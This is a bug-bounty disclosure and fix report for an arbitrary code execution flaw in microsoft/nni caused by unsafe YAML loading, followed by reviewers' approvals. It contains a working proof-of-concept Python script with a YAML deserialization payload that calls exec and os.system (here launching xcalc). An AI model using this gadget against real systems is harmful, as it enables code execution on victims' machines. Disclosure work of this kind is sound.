Rce fix

[Anon-Artist]

📊 Metadata *

Arbitrary Code Excecution in microsoft/nni. An open source AutoML toolkit for automate machine learning lifecycle, including feature engineering, neural architecture search, model compression and hyper-parameter tuning.

Bounty URL: https://www.huntr.dev/bounties/1-pip-nni

⚙️ Description *

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

import os 

os.system('pip3 install nni')
exploit = """authorName: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
experimentName: example_mnist_pytorch
trialConcurrency: 1
maxExecDuration: 1h
maxTrialNum: 10
#choice: local, remote, pai
trainingServicePlatform: local
searchSpacePath: search_space.json
#choice: true, false
useAnnotation: false
tuner:
  #choice: TPE, Random, Anneal, Evolution, BatchTuner, MetisTuner, GPTuner
  #SMAC (SMAC should be installed through nnictl)
  builtinTunerName: TPE
  classArgs:
    #choice: maximize, minimize
    optimize_mode: maximize
trial:
  command: python3 mnist.py
  codeDir: .
  gpuNum: 0
"""
open('exploit.yml','w+').write(exploit)
os.system('nnictl create --config exploit.yml')
os.system('rm exploit.yml')

Execute the following commands in another terminal:

python3 exploit.py

Check the Output:

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix it will not popup a calc

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.

[mzfr]

LGTM!

[mufeedvh]

[Mik317]

LGTM 😄 🍰

Cheers,
Mik

[huntr-helper]

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